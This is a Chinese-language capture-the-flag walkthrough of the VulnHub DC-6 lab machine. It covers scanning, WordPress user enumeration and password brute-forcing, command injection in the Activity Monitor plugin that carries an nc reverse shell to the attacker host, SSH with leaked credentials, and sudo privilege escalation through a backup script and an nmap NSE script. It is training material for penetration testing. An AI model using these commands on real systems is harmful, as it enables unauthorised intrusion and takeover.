DC-6靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip
环境准备
kali,DC-6靶机
两台主机设置在同一网段
kali中安装有必要的工具。例如:nmap,WPscan,burpsuite,dirb等等
信息收集
1.靶机页面
2.打开kali,输入ifconfig查看kali的IP地址:192.168.6.137
3.扫描同网段开放主机,确定DC-6靶机IP地址为192.168.6.142
4.详细扫描靶机开放端口
nmap -p 0-65535 -A -v 192.168.6.142
根据80端口的信息,发现我们并不能直接访问靶机的web页面
5.尝试访问靶机的web页面,发现确实不能连接。
显然是重定向错误,在本地/etc/hosts文件中添加这样的关系
echo '192.168.6.142 wordy' >> /etc/hosts
6.再次访问发现可以成功访问
渗透流程
1.使用dirb扫描该网站的Web目录,得到登录页面
dirb:
dirb 是一款用于Web目录爆破的开源工具,旨在帮助渗透测试人员和安全研究人员发现目标网站上的隐藏目录和文件
dirb +url +字典 +参数
-a 设置user-agent
-p <proxy[:port]>设置代理
-c 设置cookie
-z 添加毫秒延迟,避免洪水攻击
-o 输出结果
-X 在每个字典的后面添加一个后缀
-H 添加请求头
-i 不区分大小写搜索
dirb http://192.168.6.142
访问http://wordy/wp-admin页面
找到渗透方向,寻找用户名和密码
2.使用WPscan扫描网站包含的用户名
WPScan是一款强大的WordPress安全扫描工具
wpscan --url http://example.com
选项: `--enumerate`:启用特定类型的枚举扫描,如用户、插件和主题。
`--plugins-detection`:设置插件检测的模式,如默认、被动或侵入式。
`--detection-mode`:设置扫描的侦测模式,如快速、默认或深度。
-u 用户
-p 插件
-t 主题
得到admin,mark,graham,sarah,jens几个用户名
3.根据DC-6靶机官网的提示线索,我们可以得到一个密码字典
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
//线索给予的代码,可以得到一个密码字典
有的kali中rockyou.txt文件默认是一个压缩包,我们要先解压该文件
进入文件目录,解压该文件
然后输入线索给予的代码,保存到本地为passwords.txt
4.使用WPscan工具利用密码字典pssswords.txt去扫描网站
wpscan --url http://wordy --passwords passwords.txt
匹配得到一个用户名和密码
5.尝试用得到的用户名mark和密码helpdesk01登录
成功登入
我们发现有个Activity monitor插件
网上了解WordPress中的该插件的可利用漏洞,在插件的tools选项中
6.在ID or integer的输入框中输入一个网站地址,如:baidu.com,然后点击Lookup,发现有回显
尝试注入一下
发现可以成功显示靶机的文件目录
7.用bp抓包一下,在bp中输入baidu.com | nc -e /bin/sh 192.168.6.137 7878进行反弹shell,同时在kali中监听7878端口
发现成功获取shell
用python开启一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
8.进入/home目录,分别进入各个用户目录下查看存在什么可利用的文件
graham用户
sarah用户
jens用户
发现独有的backups.sh,查看脚本内容,暂时无用
mark用户
发现独有的stuff文件,查看文件内容
从thing-to-do.txt文件中我们得到graham用户的密码
9.我们利用用户graham和密码GSo7isUM1D4连接靶机的ssh服务
ssh graham@192.168.6.142
成功登入
提权
1.sudo -l查看当前用户可执行操作
发现可操作/home/jens/backups.sh,且执行时以jens用户身份执行
2.向脚本中写入/bin/bash命令,然后让jens用户来执行
echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh
成功切换为jens用户
3.再次sudo -l查看当前用户可执行操作
发现nmap命令执行时以root身份执行,需要nmap打开一个shell即可获得root权限,尝试编写提权脚本
先进入jens用户目录
cd /home/jens
编写并执行脚本
echo "os.execute('/bin/bash')">demon.nse
//nse为nmap可执行文件后缀,此命令为开启一个终端(以当前身份)
sudo nmap --script=demon.nse
//执行此脚本
成功获取root权限(这个shell不会显示打的命令,但是不影响输入)
4.进入并查看/root目录,找到theflag.txt,完成DC-6靶机